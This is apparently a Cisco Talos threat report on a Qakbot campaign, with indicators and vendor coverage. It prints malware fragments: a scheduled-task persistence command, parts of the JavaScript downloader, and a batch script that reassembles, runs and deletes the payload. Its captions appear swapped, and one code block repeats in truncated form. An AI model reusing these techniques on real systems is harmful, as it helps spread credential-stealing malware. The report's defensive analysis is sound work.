Qakbot levels up with new obfuscation techniques

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```
 1   function dszim(data)
 2   {
 3   var ytvmg = "";
 4   for (var i = 0; i < data.length; i++) {
 5   var aehjin = data.charCodeAt(i);
 6
 7   if (!(aehjin >= 0x41 && aehjin <= 0x5A) && !(aehjin >= 0x61 && aehjin <= 0x7A) && !(aehjin >=
 8   return null;
 9   }
10   }
11   var vssuo = fvwdfz( data.slice(0,40) );
12
13   var ojni = pgikju(vssuo, fvwdfz( data.slice(40,data.length) ) );
14
15   var ovqfc = ojni.slice(0,20);
16   var iglh = fqmuo(ovqfc);
17   var ljmageni = ojni.slice(20,ojni.length);
18   var i_fi = ehjwtjoy(ljmageni);
19
20   if (iglh != i_fi) {
21   return null;
22   }
23
24   return ljmageni;
25   }
```

Ashlee Benge of Cisco Talos and Nick Randolph of the Threat Grid Research and Efficacy team authored this blog post.

Executive summary

Qakbot, also known as Qbot, is a well-documented banking trojan that has been around since 2008. Recent Qakbot campaigns, however, are utilizing an updated persistence mechanism that can make it harder for users to detect and remove the trojan. Qakbot is known to target businesses with the hope of stealing their login credentials and eventually draining their bank accounts. Qakbot has long utilized scheduled tasks to maintain persistence. In this blog post, we will detail an update to these schedule tasks that allows Qakbot to maintain persistence and potentially evade detection.

Infection chain

Victims of this malware are typically infected via a dropper. Once infected, a victim machine will create a scheduled task. This task will execute a JavaScript downloader that makes a request to one of several hijacked domains.

The command line string that create this task is:

C:\Windows\system32\schtasks.exe /create /tn {guid} /tr cmd.exe /C "start /MIN C:\Windows\system32\cscript.exe /E:javascript "C:\Users\USERNAME\ymwoyf.wpl" /sc WEEKLY /D TUE,WED,THU /ST 12:00:00 /F

This downloader is executed using the command:

cmd.exe /C start /MIN C:\Windows\system32\cscript.exe /E:javascript C:\ProgramData\\puigje.wpl"
C:\Windows\system32\cscript.exe /E:javascript C:\ProgramData\puigje.wpl

Cisco Talos first observed a spike in requests to these hijacked domains on April 2, 2019. This coincides with DNS changes made to these domains on March 19, 2019. Additionally, the comment string "CHANGES 15.03.19" is contained within the malicious JavaScript downloader, suggesting this actor updated the code on March 15. This indicates that these changes to the Qbot persistence mechanism seem to coincide with the launch of a new campaign.


```
1  function dszim(data)
2  {
3  var ytvmg = "";
4  for (var i = 0; i < data.length; i++) {
5  var aehjin = data.charCodeAt(i);
6
7  if (!(aehjin >= 0x41 && aehjin <= 0x5A) && !(aehjin >= 0x61 && aehjin <= 0x7A) && !(aehjin >= 0x30 && aehjin <= 0x39)) {
8  return null;
9  }
10  }
11  var vssuo = fvwdfz( data.slice(0,40) );
12
13  var ojni = pgikju(vssuo, fvwdfz( data.slice(40,data.length) ) );
14
15  var ovqfc = ojni.slice(0,20);
16  var iglh = fqmuo(ovqfc);
17  var ljmageni = ojni.slice(20,ojni.length);
18  var i_fi = ehjwtjoy(ljmageni);
19
20  if (iglh != i_fi) {
21  return null;
22  }
23
24  return ljmageni;
25  }
```

An example downloader with dated comment line.

This downloader always requests the URI "/datacollectionservice[.]php3." from these hijacked domains. The domains used by the downloader for this request are XOR encrypted at the beginning of the JavaScript. The response to this request is obfuscated data that will be saved as (randalpha)_1.zzz and (randalpha)_2.zzz. The first 1,000 bytes of data are saved to the first .zzz file, while the remainder goes to the second file. The data in these files is decrypted with the code contained in the JavaScript downloader.

```
@echo off
type C:\ProgramData\HlTzw7GK_1.zzz C:\ProgramData\HlTzw7GK_2.zzz >
C:\ProgramData\HlTzw7GK.exe
start C:\ProgramData\HlTzw7GK.exe
schtasks.exe /Delete /TN HlTzw7GK /F
del /Q /F C:\ProgramData\HlTzw7GK_1.zzz C:\ProgramData\HlTzw7GK_2.zzz
DEL "%~f0"
```

An example of the JavaScript used to decode the obfuscated .zzz files.

Additionally, a scheduled task is created to execute a batch file.

```
3    //CHANGES 15.03.19
4    function ehjwtjoy(pxct) {
5      var pbdkoxja= ljwzvw(fttep(hklo(pxct), pxct.length*8));
6      var temp_array = "0"+"123456789abcdef";
7      var ltuz= "";
8      for (var i= 0; i<pbdkoxja.length; i++) {
9        var dxarurxy= pbdkoxja.charCodeAt(i);
10       ltuz+= temp_array.charAt((dxarurxy>>4)&0xF) + temp_array.charAt(dxarurxy&0xF);
```

An example of this batch file.

This code serves to reassemble the malicious Qakbot executable from the two .zzz files, using the type command. The two .zzz files are then deleted after the reassembled executable is run. The functionality of the Qakbot malware remains the same.

Conclusion

There has been a change in the infection chain of Qakbot that makes it more difficult for traditional anti-virus software to detect. This may allow the download of the malware to go undetected, as the malware is obfuscated when it is downloaded and saved in two separate files. These files are then decrypted and reassembled using the type command. Detection that is focused on seeing the full transfer of the malicious executable would likely miss this updated version of Qakbot. Because of this update to persistence mechanisms, the transfer of the malicious Qbot binary will be obfuscated to the point that some security products could miss it.

Coverage

Ways our customers can detect and block this threat are listed below.

PRODUCT	PROTECTION
AMP	✔
CloudLock	N/A
CWS	✔
Email Security	✔
Network Security	✔
Threat Grid	✔
Umbrella	✔
WSA	✔

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware detailed in this post. Below is a screenshot showing how AMP can protect customers from this threat. Try AMP for free here.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Additional protections with context to your specific environment and threat data are available from the Firepower Management Center.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

IOCs

C2 domains observed

lg[.]prodigyprinting[.]com
hp[.]prodigyprinting[.]com
layering[.]wyattspaintbody[.]net

painting[.]duncan-plumbing[.]com

Qakbot hashes

00e4f65b721b334c3aa40e0c0fdc63107965874981fbfef1fc6a3ebb9d6c8d1c
042b8c8ae4525b7fd067c6960def5bb01817bf884db9db0db42c2a3cb10ff327
0633c16d45f6fdc9fd6ba13c86572bfb571e2307ea051e2c119b59458000b51d
0dbf3f0a6a6b77eddd6e63849f2cea98edb855847a51ec313e7b764c5a5a3a59
104d491cd7c6e3f7930edb780bed08fc88012a0f7f77f01ef987f270c9169b49
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5ac4fbe00b773cbeb52c58234a5d2676f1cf0961385eb6b73934fccdf82a6605
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c6ef40e940c92b8399792521eb677f5238e21ecf99834826990153efa41064ba
c77ed215f5ca3eb4b5ab6926b32392c4d58bcaaa9ad1d585632372e7f059360f
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cdac2ca810ed43d4bd9bf7ade4b0a8dbc26fbeed3f11eee1aa5cb8334b6d6105
d8b5067443c940864e972369e259a0826bb3774487c8605d6e5e870510d41504
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edf907d35b16877a6ff344bdb62852f0f1c418bc4f83072b518204e398e61365
f9969aaab5276399d486a0619840e41e63340c1106f1e2652eb098052d8a2241
fa3bc57c23c5f60050d5b6673681d8bc170d5c9417cfc4c231d3794800400315
fe294978397abe1f23b88e47a94d516c977cd0c9cb368bcdc20f5f3899daf6bd

Javascript hashes

dd8c25c7483acb627935b3ec6de505aa7fdf95ee4db8108b89d0deb57510217c
581fe44b3da62d2155452beeda2f20f63fa042271a97cd8e016b4f6f6f8b575f
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2ce2651e7ea2ece2b45cadbf7ef916a998d14bbf3830631cf1de6c4c28a97d80
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